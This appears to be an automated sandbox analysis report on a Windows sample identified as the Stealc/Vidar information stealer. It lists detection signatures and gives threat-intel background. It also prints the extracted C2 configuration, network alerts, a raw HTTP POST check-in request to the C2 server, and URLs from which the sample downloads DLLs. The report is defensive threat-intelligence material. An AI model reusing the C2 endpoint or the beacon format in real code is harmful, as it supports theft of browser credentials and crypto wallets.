Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541196
MD5:	986b9335041f4d6a2924fe3e2c8dd4bf
SHA1:	94b66b0b3e06861b91e1948833c4689e9cbffd38
SHA256:	65d48ea2d891d07f3ae1e701161a6e69ffb1fad24886bc4eaa2d60c802eefcea
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4752 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 986B9335041F4D6A2924FE3E2C8DD4BF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2054627045.0000000005590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4752	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4752	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4752	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4752	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.d20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:06.508426+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:06.501542+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:06.787666+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:07.904053+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:06.795250+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:06.208294+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T15:09:08.185893+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:13.811154+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:14.935510+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:15.551928+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:15.997001+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:17.020364+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T15:09:17.455560+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 38 38 46 31 45 30 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"A49A88F1E00A1633047986------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"doma------BGIDBKKKKKFBGDGDHIDB--

Source: file.exe, 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllZ
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll1B
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlleB
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3
Source: file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&e
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpTA
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpXA
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpne
Source: file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr
Source: file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2282034275.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/0x1024
Source: file.exe, 00000000.00000003.2207301528.0000000030099000.00000004.00000020.00020000.00000000.sdmp, DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2207301528.0000000030099000.00000004.00000020.00020000.00000000.sdmp, DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2207301528.0000000030099000.00000004.00000020.00020000.00000000.sdmp, DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
